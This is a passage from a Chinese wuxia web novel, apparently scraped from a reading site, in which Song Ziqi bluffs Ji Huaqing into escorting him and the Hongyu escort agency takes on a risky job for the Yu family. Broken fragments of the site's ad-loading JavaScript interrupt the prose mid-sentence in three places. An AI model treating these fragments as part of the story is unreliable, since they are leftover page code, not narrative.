姬花青道:“所以?你是来杀我的吗?”她虽尽力平复自己激荡的内心,但话说出口,她才意识到自己的声音都在颤抖。 宋子期见她这个反应,心里简直要乐开了花。 看来他的推测没错。 搭上了鸿羽镖局,宋子期以为这下回水西稳了,结果不知从哪杀出一伙匪徒,看这些镖师和匪徒打得有来有回,难分伯仲,他的心沉了下去。 宋子期心想,这些镖师武功太也差劲,一般的匪徒都对付不了,还能护送他到水西么?这么多人打强人都这么费劲,将来跟他同路的可只有那个叶小镖头,若两人再被这样一群强盗围上,叶小暑自顾不暇,根本谈不上保护别人,他宋子期岂不是两三下就被剁成肉酱? 结果就在此时天降了一个姬花青,拦住了他的骡车不说,还三下五除二将那些匪徒收拾得毫无还手之力。 宋子期脑中灵光一闪,右拳击上左掌,对呀,何不把这位姑娘请来跟叶小暑一起护送他到水西呢? 只是他拳掌相击的动作太大,怀里的令牌一下掉了出来,宋子期下车去捡令牌的时候,无意间瞥见了姬花青看见令牌时慌乱的眼神。 宋子期见她如此反应,心下也是疑惑,眼珠骨碌碌一转,很快便猜到了七八分。 这令牌虽是玄同教之物,但不同于一般的玄同令,一般的玄同令江湖上人人都认识,但这他身上这枚令牌只有玄同教中人才认得,所以这女子定是玄同教的人。然而她为什么一见这令牌就面露惊恐之色?宋子期对玄同教“一入玄同,终生不得脱离”的规矩也十分清楚,几番猜测下,便猜出这女子曾是玄同教的人,但叛逃出教,所以见了这块令牌,才会如此紧张。 念及此,宋子期决定,她若不愿意护送自己上路,就使些法子诓她跟自己上路。所以见姬花青执意要走,宋子期便用出了这一对策。 结果效果出奇的好。 这丫头还真是玄同教的! 宋子期自己也有些惊讶,过了这么久,玄同教竟还认这块令牌。 雨馀凉虽然离得远,但一直在注意她们那边的情况,他在心里想好,一旦看到情形有什么不对,他便拔刀冲过去帮姬花青。 宋子期心中暗笑,面上却一副严肃的神情,道:“杀你?哼哼,告诉你个好消息吧,教主额外开恩,不追究你曾经做过的事了。” 姬花青猛然抬头,道:“真的吗?” 她还是不敢相信:“可是……可是……教中历来的规矩,一入玄同教,终身不得背叛,叛教者……死……” 宋子期嗯了一声,道:“你很清楚嘛。” 姬花青见他身上有那块令牌,拆解自己招式的方式又正是师父的手法,对此人是教主派来的已经信了八九分。只是……为何自己在教中时从未见到过此人?但转而想到若不是这次离教,玄同教依旧有很多秘密自己尚且不知,教中有自己没见过的面孔,也在情理之中。 宋子期继续道:“但教主亲口说了,不杀你。” 姬花青忽然想到,五十年前,玄同教曾有一位护法,正是因为擅自脱离,于是教中派人追杀。那名护法本身武功极其高强,几次都从教众的围追堵截中脱身,最后甚至跑到了大海另一边的陆地上。他本以为自己逃到了那里,玄同教便会放弃对他的追杀,不想教众竟也跟着漂洋过海,那名护法最终在另一片陆地被自己曾经的同僚杀死。 玄同教最恨叛徒,对叛教者绝不姑息,这是姬花青很早就知道的。 想到这里,姬花青对宋子期的话充满了怀疑,只道:“这……这不可能……” 宋子期见她又露出狐疑的眼光,忙道:“因为对教主来说,你是不一样的。” 姬花青怔愣住了,甚至久久没回过神来。 宋子期没想到这句话对她作用这么强烈,于是又道:“教主念你这……么多年来为本教做出贡献,特地派我来将你找回,你若能将功折罪,曾经的事便让它过去了。”其实他本想说“这几年来”,但转念一想,说那么具体干嘛?说得越具体破绽越大,万一她在玄同教已经待了十几年了呢?自己岂不是漏了马脚?于是便说“这么多年来”。 宋子期说完这句话,又放缓了语气,语重心长道:“教主心里是有你的位置的,你还继续这样让教主心寒么?” 姬花青沉默不语。 宋子期心想,幸亏自己方才那一招镇住了她,否则这些亡命之徒不管不顾地拼起命来,自己可就露馅了。也是因为自己的武功镇住了她,她这才肯好好听自己说话。他在心中默默叹了口气,想,自己虽厌恨武功,关键时刻却也只能靠这个解决问题。 姬花青道:“不知将功折罪是怎么个将功折罪法?” 宋子期道:“很简单,回水西,到教主跟前,认错。” 姬花青疑道:“……只是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这样?” 宋子期道:“你能回去,教主就很高兴,哪里还会让你做别的事呢?” 姬花青又陷入了沉默。 宋子期见姬花青这个反应,继续添油加醋,道:“你离教的这段时间,教主闷闷不乐,每天茶饭不思,觉也睡不好,经常在睡梦中喊着一个名字,那正是你的名字。”宋子期胡诌这段话时,心想,她叫什么来着?刚才听到那小子叫她“花青前辈”,想必是叫“花青”,但万一这不是她在教中的名字,或者如今的那位玄同教主平时不是这么叫她的可就糟了。于是宋子期只说梦中喊的是她的名字,但没说出具体是哪几个字。 姬花青听宋子期这么说,忙道:“他……他病了么?” 宋子期见她面上竟有担忧之色,也是惊了一跳,心想自己煽情是不是煽过头了,道:“没没没,教主身体健康,就是念着你离教这件事,才那个样子嘛。” 姬花青也意识到自己刚才有些失态,忙收敛了神色。 语气突然变得严厉,道:“不过,回去的路上,你要跟我一道,我得看着你,若你在途中跑了,我回去怎么向教主交代?”他一面说,一面心想:我看着你,你保护我,嗯。 姬花青突然有些恍惚,道:“回去?不用教中的人来,我也是要回去的……” 宋子期没明白她的意思,道:“……啊?” 姬花青沉吟道:“不过,回水西前,我要顺便去趟临蓟。” 宋子期心想,反正临蓟就在仲邑江边,刚好可以在那坐船回水西,便点点头道:“只要是回水西,回玄同教,走哪条路都是一样的。” 雨馀凉正全神贯注地望着姬花青和宋子期谈话,忽然肩膀被人轻轻一拍,雨馀凉回头,见是叶小暑。 叶小暑拿着一个竹筒,对雨馀凉道:“你累不累?要不要先喝口水?” 雨馀凉对叶小暑微笑着摇摇头,又道了声谢,继续望向姬花青那边。 叶小暑见他如此,也就拿着竹筒回到镖局众人之间。姬花青和宋子期到另一边谈话时,这一头鸿羽镖局众人也在总镖头秦椿的指挥下,将那些被姬花青所伤的匪徒拖到一处。镖局众人检查自己人的伤势,分发伤药,同时也将金创药分给这些匪徒。但这些匪徒并不领情,甚至有人骂道:“姓秦的,你不用当面一套背后一套,堂堂正正地打一架,大伙还当你是个真英雄!结果只会背地里干那些卑鄙小人的勾当,当真恶心煞人!”镖局里有几个脾气暴的镖师和趟子手闻言横眉竖目,就要上前给这些匪徒一些教训,都被秦椿拦下。 又过了一会,雨馀凉终于见姬花青和宋子期一同向这边走来,心中长舒了一口气。在姬花青离这边还有一截路时,雨馀凉便迎上去,道:“花青前辈。”同时有意无意地不时用余光瞟着宋子期。 雨馀凉道:“花青前辈,你们谈了些什么?” 姬花青道:“我们今天的晚饭解决了,晚上就请秦总镖头招待我们吧。” 雨馀凉有些不解,正想继续姬花青到底发生了什么,就听见宋子期对鸿羽镖局众人朗声道:“诸位,诸位,这位姑娘答应到镖局去做客啦!” 秦椿虽然感到有些疑惑,不知宋子期跟姬花青去说了什么,但闻言还是十分高兴,道:“这才对嘛,恩公帮了我们,我们就该好好答谢恩公才对,不然秦某心里怎么过意得去?恩公就到我们镖局子里来,今晚我让厨下备上一大桌好酒好菜。”秦椿生性豪迈好客,姬花青武功高强又于他们镖局有恩,是以很想结交姬花青这个朋友。 这时白翡姑来问秦椿:“总镖头,这些匪徒要怎么处置?” 秦椿沉吟一阵,道:“他们是皮寨主的人,今天突然来袭击镖队,这中间怕是有什么误会,放了他们,让他们回去吧。” 见秦椿竟要放这些匪徒回去,姬花青便知其中有隐情,她只是砍伤了这些匪徒而没有直接将他们砍杀也是为此,一般来说,强人和镖局关系微妙,所以姬花青并未把事做绝,要怎么处置,全看镖局的意思。 在秦椿的示意下,先前提起兵刃对准这些匪徒防止他们反抗的镖师纷纷将兵刃放下,并让出一条路。 这些匪徒似乎也没想到秦椿会放他们回去,一名匪徒道:“你……你为什么要放我们回去?”那使流星锤的匪徒忙用手肘碰了碰他的肩膀,道:“准是又有什么阴谋诡计,在这假惺惺地做好人,姓秦的,我们不会领你这个情!” 苗镖头怒喝道:“我们总镖头好心饶你们一命,你们不知答谢也就罢了,反倒说些不知所云的屁话,识相的赶紧滚,别在这碍眼!” 这些匪徒也知道眼下不是逞口舌的时候,相互看了看,纷纷爬起身,要么一瘸一拐,要么相互搀扶,跌跌撞撞地离开了。 苗镖头见他们走远,往地上一呸,道:“什么玩意儿。” 秦椿道:“皮寨主是绿林道上少见的好汉,我们没得罪皮寨主,皮寨主也不会无缘无故地派手下来得罪我们,等过段时间,我派人带礼物到三乌寨,去问问皮寨主究竟是怎么一回事。” 众人在路边休整一阵,便继续行往鸿州城。 46. 走镖(四) 到了鸿州城,镖局中人雇了数十条船,秦椿先请姬花青、雨馀凉、宋子期上了船,随后自己和叶小暑、白翡姑、苗镖头等几名镖师也上了这条船,其余镖师、趟子手、车夫、伙计、镖车、马匹、骡子则分别上了后面的船。 鸿州城中河道遍布,所以要到镖局,非坐船不可。 鸿州乃南北通衢,在水南既是水路枢纽,又是陆路枢纽,所以异常繁华,河岸上人烟稠密,河道中也是往来船只络绎不绝。 雨馀凉平生第一次坐着船从桥下穿过,他坐在船上仰头看着从桥上走过的行人,觉得这种感觉很是神奇。在他们乘坐的这条船不知从多少座桥下面穿过,在河道中不知拐过了多少道弯后,一道白墙映入眼帘。 那道白墙极宽,墙头铺着青色的砖瓦,远远地延伸出去,简直看不到尽头。秦椿在一旁道:“到了,这就是我们镖局的院墙,正门在另一头,还要划一会。” 光看这墙,就知道这镖局子占地有多宽广。 船沿着镖局的院墙行进,雨馀凉忽听得一阵琴声从墙内传出,他虽于此道不甚了解,却也觉得这琴音实在美妙,琴声和着桨声、水声,让人顿觉心内一片平静宁和。 只听姬花青轻轻“咦”了一声,雨馀凉转头看向姬花青,问道:“花青前辈,怎么了?” 姬花青微微侧耳,道:“这曲子……似是《秋夜论禅调》。” 雨馀凉道:“《秋夜论禅调》?” 姬花青道:“嗯,《秋夜论禅调》。”她抬起头,望着前方茫茫水波,“此曲讲的是一个人厌倦了尘世纷争,于是凉秋夤夜造访深山古刹,与寺中老僧灯下论禅。一夜过后,此人悟得禅机妙理,于是抛下一切凡尘琐事,遁入山林,隐居不出之事。” “论禅时,禅房外景致清幽秀美,堪描堪画;禅房内一僧一俗对坐而谈,如闻如见。而隐逸后那种啸傲风月,逍遥自在,无荣无辱的情态意趣,也在这支琴曲中表达得淋漓尽致,实乃佳音妙曲。” 说罢,姬花青吟道:“醉眼冷看城市闹。烟波老,谁能惹得闲烦恼。”一句吟完,她又长而轻地叹了口气,道:“世事浮云何足问,不如高卧且加餐。” 雨馀凉一边听姬花青说着这支琴曲中的含义,一边侧耳倾听,果然听出了几分隐逸之意。 姬花青为人静极,平日也不爱说话,此刻雨馀凉听她娓娓道来,只觉展翘平仄,咬字清晰,嗓音清甜柔美。继而想到姬花青静的时候极静,且一派温柔,一旦动起来又凌厉迅捷,一静一动间,收放自如。而鱼晚衣则充满了少女的娇蛮与活力,与姬花青在一起时,不知为何,总是感到有些压抑,但鱼晚衣笑声如铃,娇靥如花,让他的心一下便敞亮起来,只觉世上再无什么大不了之事。与姬花青在一起时,他到底是沉默的时候更多,而与鱼晚衣在一起,雨馀凉却觉得可以无话不谈,是以在雨馀凉心中,这两个女子,终究还是鱼晚衣更胜一筹。 想到这里,雨馀凉在心中暗骂自己,该死,怎么又想到鱼晚衣了?不知现在这会,她拿着自己的长命锁去到什么地方了? 秦椿赞叹道:“不想这位姬姑娘不仅武功好,还擅琴技,真是多才多艺。” 姬花青脸上一红,道:“哪里,您误会了,我并不会弹琴,更不用说擅长了,只是略微知道些琴曲,方才胡乱说了一通,让诸位见笑。” 雨馀凉突然道:“花青前辈,你看起来很喜欢这支曲子。” 姬花青仰头望天,道:“嗯,我很喜欢。” 秦椿又转头对苗镖头道:“奇怪,镖局子里怎么会传出琴声?” 苗镖头笑道:“咱们镖局子是豆饼做豆腐,全是粗人,没听说过有人会琴啊棋啊,书啊画啊啥的,定是有客人来了,说不定又带来一票大生意。这可辛苦了总镖头,刚回到镖局,就又要往外跑。” 秦椿听他这么说,面上笑着,内心却怀着些许隐忧。 此时船继续行进,那琴声也逐渐听不到了。 少顷便到了镖局大门,船只靠岸,秦椿率先轻轻一跃上了岸,船随着他的动作略微晃动了几下。镖局门口的守卫见总镖头回来了,先向秦椿行了礼,秦椿交代他几句话后,守卫忙进去通报。其余众人依次下了船,后面的船只也纷纷靠岸。雨馀凉抬头望去,只见大门上方一个巨大的牌匾,牌匾漆上黑漆,上面刻着“鸿羽镖局”四个大字,用泥金填了。镖局门口一对雕工精湛,形态威武的石狮,为这镖局大门又平添了不少气派。 秦椿领雨馀凉等人进去,叶小暑、白翡姑和苗镖头等镖师跟在后面,迎面走来一个账房先生模样的老者,对秦椿道:“老爷回来了。” 秦椿将这名老者和雨馀凉等人相互引见了,原来这老者是鸿羽镖局的管家,姓萨,很得总镖头秦椿信任,平日镖局里大大小小事宜,都是交付给这位萨管家。 萨管家与雨馀凉等人简短打了招呼后,对秦椿道:“老爷,玉少爷来了。” 秦椿闻言,又惊又喜,道:“玉贤侄来了?他是多久来的?” 萨管家笑道:“今日午末未初到的,我说玉少爷来得不巧,老爷押镖去了,但算算日子,应该这几天就回来了,所以安排玉少爷在东院厢房住下,等老爷回来,不想这么赶巧,老爷今天就回来了。” 秦椿笑道:“嗯,我先去见见他。老萨,这几位客人好好招待,苗镖头,白镖头,小暑,代我陪客人。”萨管家、苗镖头、白翡姑和叶小暑答应了。秦椿又转头对姬花青等人道:“在下有故交到来,诸位先歇着喝茶,我稍后便到。” 说毕,秦椿便往东侧穿廊走去,萨管家则领着雨馀凉等人一直往前,穿过数个院子后,来到一个布置更加华美的院落,院子两边各有一个巨大的石缸,缸里冒出嫩小的荷叶。 萨管家请雨馀凉等人踏入这座院子的正房,这是一间宽阔明亮的大厅,苗镖头、白翡姑和叶小暑先请姬花青、雨馀凉、宋子期三人在右边一排椅子上坐了,自己三人则坐在左首椅上,不一会,萨管家领着仆从给每人都送上了热茶,还有绿豆糕、核桃酥等小点吃食。 一开始,双方只是你一句我一句,礼貌而生疏,之后便逐渐聊开了。姬花青话少,雨馀凉初入江湖,对很多话题不清楚。宋子期倒是话多,知道的也多,也擅聊,说话幽默风趣,但苗镖头并不理会宋子期,只和姬花青、雨馀凉搭话,倒是叶小暑和白翡姑时不时跟宋子期说上一两句。 雨馀凉听苗镖头和萨管家都叫叶小暑“叶镖头”,对叶小暑道:“叶镖头,你年纪这么轻,就已经是镖头了,真是好生让人钦佩。” 叶小暑微笑道:“雨兄弟过奖。” 宋子期道:“了不起就是了不起,这么年轻当上的镖头的,连叶镖头在内,我此生只见过两位。不知叶镖头师从何派?” 叶小暑道:“沧阆派。” 雨馀凉听到“沧阆”两个字,心头一震,脑海中浮现出连江和万克礼的身影,面上的笑容不觉淡了下去。 宋子期“哦?”了一声,道:“你是水西人?” 叶小暑道:“正是。” 姬花青心道:“怪不得他虽说的是官话,却带有一点沧阆方言的口音。” 宋子期想,怪不得他愿意独身送我回水西,大约他自己也想顺道回家乡看看,又道:“你的家乡在水西,怎么大老远跑到水南来讨生活呢?” 叶小暑道:“我从小就在一个地方待不住,总喜欢四处周游,身上有些武艺,便想着来镖局谋份营生。跟着镖队,我不仅跑遍了水南的绝大多数地方,水西、水东的市镇也去了不少。” 宋子期心想,喜欢四处周游?水西的大镖局也不少,说不定比水南还要多,却为什么不在水西的镖局供职?这个小叶镖头怕是没道尽所有的原因,但他不欲刨根问底,也没再继续追问。 正说话时,总镖头秦椿笑容满面地引着一人走进了厅堂。只见秦椿已换了一身家常的衣裳,对身边的人道:“贤侄,请。”他身旁的那位年轻公子忙躬身道:“秦叔叔请。” 只见那年轻公子长身玉立,头戴玉冠,正是雨馀凉和姬花青之前在镇子上见到的那位卖琴谱的公子。要不是他气质绝佳,姬花青还不一定能认出他来。 那公子踏进厅堂,见到雨馀凉和姬花青后愣了一下,雨姬二人看到他后也是一愣。苗镖头、白翡姑和叶小暑见总镖头到来,同时站起,秦椿笑着对三人比了个“坐”的手势。 先前雨馀凉等人来到大厅时,左右两排椅子邻近中间主位的第一张都是空 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 出来的,秦椿先请那年轻公子在右首第一张椅子上挨着姬花青坐了,他自己虽是镖局的主人,却也不坐主位,而是在那年轻公子对面的椅子上坐下。 先前秦椿和那年轻公子刚踏入厅堂时,雨馀凉便见苗镖头、白翡姑和叶小暑对那年轻公子行礼,口中叫着“玉公子”,此刻众人坐定,秦椿笑吟吟对姬花青等人道:“我来介绍一下,这位是茶芫镇巨商玉家的少爷,大名叫做玉剑。方才的琴音,正是出自玉少爷之手。” 玉剑对姬花青等人微笑颔首,道:“见过几位朋友。”他笑着看向左边的姬花青和雨馀凉,道:“其实这两位朋友,小侄不久前见过,不想竟是秦叔叔的客人,真是缘分。” 秦椿道:“哦?见过?” 玉剑笑着点点头,遂把今天早些时候自己在街上叫卖琴谱,与姬雨二人有过一面之缘的事说了。 姬花青笑叹道:“说来惭愧,要不是因为囊中羞涩,高低是要将这部琴谱买下的。” 秦椿笑道:“原来如此,不过贤侄怎么当街卖起琴谱来了?”他心想,玉家家财十分殷实,也知道玉剑于琴艺一道十分热衷,那些琴谱定是他珍爱之物,怎会舍得卖掉?自己与玉家差不多有三、四年没往来了,也正是因为这个原因,所以秦椿虽知道玉剑擅弹琴,但坐船到镖局附近刚听到琴声时,却也一时没反应过来是玉剑来了。今日玉剑突然造访镖局……难不成是玉家出了什么事? 玉剑低头思索一阵,似是难以开口的样子,最终还是道:“小侄此次前来,是为了找秦叔叔保一趟镖,至于为什么卖琴谱……” 玉剑还没说完,秦椿就嗐了一声,道:“还以为是什么事,这是你老叔的本行,何况以我和你父亲的交情,保一趟镖有何难?” 玉剑微微一笑,道:“多谢秦叔叔。”他顿了顿,又道:“我从茶芫镇出发,就要到鸿州城时,一个没留神,钱袋竟让小偷摸走了,当时我便心想糟了,用来请鸿羽镖局的各位押镖的银两全在里面。” 宋子期切的一声笑道:“小子,你身上没钱?那你可来错地方了,人家这里规矩大,不先付银子是不会给你押镖的。” 秦椿瞪了宋子期一眼,随即转头对玉剑道:“玉贤侄,那是镖局子里一般情况下的规矩,是对旁人定的,但贤侄比不得旁人,这规矩随时可以更改。” 一边的“旁人”宋子期看着秦椿“嘿——”了一声,终于还是把嘴边的话咽了下去。 玉剑有些迫促,道:“我正是素知秦叔叔镖局里的规矩,才不知如何是好,我来不及再回家拿钱,当时我身上只剩背上背的一把琴,还有跟琴包在一起的琴谱,我心想这琴谱价值不菲,定能换得不少银子,这才当街叫卖。不想叫卖了好一阵,周围围的人越来越多,却没有一个肯买下,都说一本……一本破书怎能值那么多钱,我眼看着卖不出去,也不想再拖延时间,突然想到,既然琴谱价值不菲,那么可否先到镖局来,将琴谱抵押给镖局,之后再拿银子过来……” 宋子期听玉剑说到这,觉得这个小少爷有些呆呆的。 秦椿轻轻叹了口气,道:“其实,无论贤侄有没有东西做抵押,只要是玉家托我鸿羽镖局办事,我秦某都会尽全力去办,贤侄发现钱物被偷了,当时就该来我们镖局,鸿羽镖局有我的吩咐,镖局上下永远都要对玉家的人以礼相待,就算我不在镖局里,贤侄有什么请求,也可对萨管家说,这些我都是交代过的,对吗老萨?”说着看向萨管家。萨管家微微躬身,道:“是这样,玉少爷来镖局,有什么事尽管吩咐即可。” 苗镖头道:“玉少爷应该学着脸皮厚些,你要这样想:‘就算那个鸿羽镖局有那样的规矩又怎样?我不管三七二十一先去问,万一有可以通融的地步呢?’退一万步说,就算人家一开始不答应,你再死缠烂打一番,万一就拗过别人了呢?把事情办成了总比忍着受罪好啊。” 苗镖头在说这番话时,宋子期总觉得他在有意无意瞟自己。 秦椿笑了:“苗镖头所言极是。”他端起茶碗喝了一口,“不过贤侄方才说‘来不及再回家拿钱’是怎么个情况?收货的那头催得很急么?” 玉剑道:“这正是这件事的棘手之处,这批货物,是要送往临蓟武林盟主驻地的。” 47. 走镖(五) 玉剑此言一出,宋子期道:“奇怪,既然是武林盟主要的东西,照理说他们那应该有很多武功高强的人,自己派人来取货不就行了,干嘛要多此一举让别人来给他们护镖呢?又有谁敢劫武林盟主的东西?” 秦椿长叹了一口气,道:“宋朋友,虽然你不是水南的人,但对水南武林目前的局势未免也太不了解,如今,唉……这种话我身为一个水南人本不该说,但……事实就是事实,现在的水南武林盟主已经控制不住水南武林的局势了,武林盟主在江湖上的威望大不如前,水南武林相较于水西也是人才凋零,如今水西两股势力都对水南武林虎视眈眈,我们那位盟主大人,已经腾不出人手来押运货物了。外部形势严峻,内部形势也不稳,以前的时候,运往武林盟主驻地的物品,胆子大的强人仗着自己武艺高强,也不是不敢劫,更不用说现在,如今武林盟主身边,说实话也没什么厉害的人……” 宋子期道:“秦总镖头这么说,是觉得自己武功在重云门郑门主和琥沙派唐掌门之上?” 秦椿道:“我没这么说,盟主身边的人,当然比我们厉害得多,但他们可是武林盟主身边的人啊,该跟我们比么?我是指跟与他们同类的人比,比如水西的那些世家大派,沧阆、殊华、雪山、碧逍……他们的武功,是及不上水西那些人的。” 听到“腾不出人手”几个字,姬花青突然想通了些什么,重云门和琥沙派代代掌门人都是水南武林盟主的左膀右臂,向来目无下尘,却甘愿一路风尘亲自来到谷州府这种武道不兴的地方,来观看谷州刀派这种名不见经传的小门小派的大较,想来若不是人手不足,郑宝卿和唐奕才也不至于双双屈尊俯就,来到谷州刀派寻求人力。 玉剑继续道:“临蓟那边向我们定了这批货后,让我们自己找人送到临蓟去,还规定了时限,一个半月内就要将东西送到……我们是商人,要运送货品只能求助镖局,茶芫镇和周边镇子上的镖局我们都跑遍了,可他们一听说这批货是武林盟主那边要的,又规定了时限,就都不愿接了,一是水南武林局势不稳,道上也不太平,最近各地都冒出了不少劫镖的强人;二来怕万一出了什么闪失,吃罪不起。方才秦叔叔所说,确是事实,水南武林盟主的威望一天不如一天,但他毕竟还是武林盟主啊,又有谁敢明着违抗他呢?” 玉剑低下头,道:“屋漏偏逢连夜雨,恰好前几天,父亲又病了,下不来床……我……我是走投无路了,才来到鸿州找秦叔叔……”他抬头望向秦椿,道:“就请秦叔叔帮帮我们这次吧!我们玉家会永远铭记您的大恩大德,往后若有什么用得着的地方,我们也会尽我们所能帮助秦叔叔和鸿羽镖局的!” 苗镖头、白翡姑、叶小暑都陷入了沉默。他们清楚,这是十分凶险的一镖,只要是个正常人,都是不愿意接的,但不管怎样,他们遵从总镖头的意思,若秦椿答应,那么前方就算是刀山火海,他们也会去闯。 秦椿并不犹豫,道:“这趟镖,我们鸿羽镖局接了。” 玉剑大喜过望,激动之下从椅上站起,又趴下身去,跪在秦椿面前道:“多谢秦叔叔,多谢秦叔叔!” 秦椿忙上前将玉剑扶起,道:“贤侄这是做什么?你父亲于我有恩,如今你们玉家遇上事来找我帮忙,我秦椿岂有不帮之理?贤侄这两日就在镖局里面好好休整,等我们做好准备后,就同你一道去茶芫镇将货装了,然后马不停蹄赶往临蓟。”他转头对萨管家道:“老萨,吩咐厨下好好准备今晚的酒宴,今天要招待好几位客人呢。”萨管家道:“是,老爷。” 晚上雨馀凉等人在镖局仆人的引导下来到饭厅,只见一张极大的圆桌上摆满了各色菜肴,果然丰盛非常。除秦椿这个镖局主人,雨馀凉、姬花青、宋子期、玉剑几位客人外,苗镖头、白翡姑、叶小暑也同桌相陪。 秦椿先带着几位镖头向姬花青敬了数杯酒,随后又依次向雨馀凉、宋子期、玉剑敬酒。这还是雨馀凉平生头一次喝这么多酒,听宋子期在一旁对秦椿拿出来招待他们的酒赞不绝口,萨管家又说他们老爷可是把镖局里压箱底的好酒都拿出来了,雨馀凉都没什么感觉,他品不出酒的好坏,只觉得一口喝下去像是吞了一口火,从喉咙一直烧到胃里,那酒味反上来,倒叫他有些不舒服。相比起酒,他对那些烧鸡烧鸭烧鱼,排骨牛肉火腿倒是更感兴趣,镖局的这些人倒是也一直在找姬花青说话,没人过多地注意他,他便埋头一直吃吃吃,感受着不同的肉类一齐被包在在嘴里的感觉,每上一道菜上来,他都吃了个尽兴。 酒过三巡,秦椿与苗镖头、白翡姑、叶小暑相互看了一眼,终于对姬花青抱拳道:“姬姑娘,你武功高强,如今鸿羽镖局要保一趟去临蓟的镖,具体的情况,姑娘下午的时候也听到了。秦某有一个不情之请,想请姬姑娘加入镖队,报酬绝对丰厚,敢问姑娘的意思如何?” 姬花青听了这话后,下意识地是想拒绝,但如今很多事情不是她可以决定的了,她迟疑一阵,看向了旁边的宋子期。 宋子期道:“这位姬姑娘之后要同我一道回水西,想来是不能跟你们一起押镖了。” 秦镖头似有些遗憾,道:“既如此,我们也不好违拗几位的意思。” ------------------------------ 时间回到晚宴前,秦椿派人领姬花青等人到客房去歇息,自己则和几位镖头商议帮玉家押镖这件事。 叶小暑对秦椿道:“总镖头,眼下的形势,我也不急着回水西了,反正这趟镖是押往临蓟,我就等几日跟镖队一同出发,等到了临蓟交了镖货后,你们往南回鸿州,我则坐船回水西。” 秦椿知道叶小暑是要为保这趟镖尽自己的一份力,心下也是感动,道:“可是你答应了那宋朋友……” 叶小暑道:“一会我就去找他,问他愿不愿意跟我们整个镖队一起走,先前只我一个人保他上路,他还不是很放心的样子,如今我们整个镖队都与他一道,应当正中他下怀才是。” 秦椿道:“嗯,这趟镖凶险,诸位要先做好准备,也请各位提前告知其他镖师和趟子手,千万不能掉以轻心。”秦椿捏了捏眉心,“这两天要好好想想具体该怎么保这趟镖。” 白翡姑道:“这件事让我们单独来做的确不容易,但鸿州城那几家大镖局平日与我们总镖头交好,说与我们总镖头是何等的交情,眼下遇着这件事,不若就请他们拨出人手来帮忙。双林镖局的魏镖头,福至镖局的牛镖头,四方镖局的蔡镖头,都是在道上极有名气的,请他们出马,一来从一开始就镇住了那些想要打镖货主意的,使他们打消念头,二来若他们当真不知天高地厚要动手劫镖,先不说我们镖局的各位镖师玩意儿都不含糊,再有其他镖局的镖师与我们共同对敌,赢面也大了许多。事成之后,把酬劳多分给他们些,以后若他们镖局有事,我们也多多照应也就是了。” 秦椿喜道:“这是个好主意!”当即就备了二十多份礼物,由二十多名镖局伙计分别带往鸿州其他镖局。 苗镖头道:“只是不知这些镖局肯不肯答应?总镖头,若要保险,我还有一个办法。” 秦椿道:“什么办法?” 苗镖头道:“那位姬花青姬姑娘武功高深莫测,有她一人,便可抵得过方才白镖头说的那所有镖师,何不问问她是否愿意帮我们保这趟镖?有她在,我看这趟镖就稳了一大半了。” 秦椿道:“这……人家帮了我们的忙,又是客人,如今将她卷入这件棘手的事,未免有些不厚道吧。” 苗镖头道:“所以我只说先去问问,她若不答应,我们自不强求。但她若对丰厚的报酬感兴趣,我们也算为她拉来一桩营生,你情我愿,皆大欢喜,岂不是好事?” 秦椿一想,倒也觉得有理,道:“好,一会酒宴的时候,我就在饭桌上问问她的意思吧。” 从秦椿那出来后,叶小暑来到了宋子期的房间,跟宋子期说了整个镖队都会跟宋子期一同上路的事。 宋子期听后想了想,道:“既如此,那么我也不劳烦叶镖头护送我到绸子店了。” 这话倒是出乎叶小暑的意料,叶小暑以为,以宋子期这般手无缚鸡之力,只能听从他们镖局的安排,况且对宋子期来说,同行的人越多应该越符合他的心意才对。除此之外,早前宋子期拦住他们镖队时,他自己也说了将他送往水西并无时间限制,不想此时宋子期直接干脆利落地说不与他们镖局的人一起了。 其实宋子期在把姬花青成功诓住后,就觉得自己回水西这一路上已经稳了,倒也不是很需要再有别的人同路。镖队人多,行起路来反而拖沓,他先开始说没有时间限制,也是为了尽量让鸿羽镖局将护送他回水西这件事答应下来,便降低了一些条件,其实在他心里,自然还是认为能尽早回去更好。 况且,就今天下午他听到的来看,这趟镖不简单,途中不知要发生怎样的事,还是尽早抽身为妙。 尽管如此,他还是感念先前叶小暑答应只身送他回到水西的举动,于是上前拍了拍叶小暑的臂膀,道:“叶镖头,以后若有机会,可以来绸子店有所思印坊找我喝茶,我常年都在那里的。” 叶小暑心想:“印坊?这人是个书商么?” ------------------------------ 酒宴过后,姬花青在镖局中散步。此时夜幕降临,镖局中的灯笼一盏盏都亮了,远远望去,橘黄色的灯光氤氲成一片。 鸿羽镖局的院落有七进,姬花青穿过一重重院门,一边信步走着,一边欣赏着镖局的房屋与陈设。 来到一座院子里,只见到萨管家正指挥下人做事,萨管家看到姬花青来了,对姬花青躬身行礼道:“恩公。” 姬花青笑道:“叫我名字姬花青即可。” 萨管家也微笑道:“是,姬姑娘。” 两人招呼了几句,见姬花青无事,萨管家便继续安排镖局里的仆从,姬花青突然问道:“萨管家,敢问那玉家与秦总镖头有何渊源?才让秦总镖头对那玉剑少爷礼待有加,还二话不说就接下别人都不愿保的镖?” 萨管家道:“这个说来话长,当年玉剑少爷的父亲玉老爷白手起家,后来生意越做越大,成了茶芫镇一带有名 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的富商大贾。但很多东西要运往远地,便免不了被贼人劫货,当时茶芫镇,包括鸿州,都没什么像样的镖局子。而那个时候,我们老爷还是个来到鸿州闯荡的年轻人,身上只有一身武艺,便想着靠卖武艺换饭吃,于是和跟他一样又穷又只有一身武艺的人聚在一处,当街竖起一块牌子,上面写着承接看家护院、护送财物等字眼,这便是鸿羽镖局的前身了,呵呵……” “一开始自然是没人找他们,毕竟还有正儿八经的镖局呢,虽然那些镖局保的镖总是被劫,给雇主造成损失,但看起来总比连住处都没有,只有一块写着“能看家护院”牌子的游民靠谱吧。后来,可能是货物被劫得越来越多,那些镖局收的酬金还不便宜,便逐渐有人开始尝试让老爷他们一干人护镖,结果出乎他们意料的是,这些游民干得还不错,镖货不仅没被劫,价钱也低。于是越来越多的人来找老爷他们,如此时间一久,老爷他们积攒了一些银子,便在一家客栈中要了一间屋子,专门做起镖行生意来。” 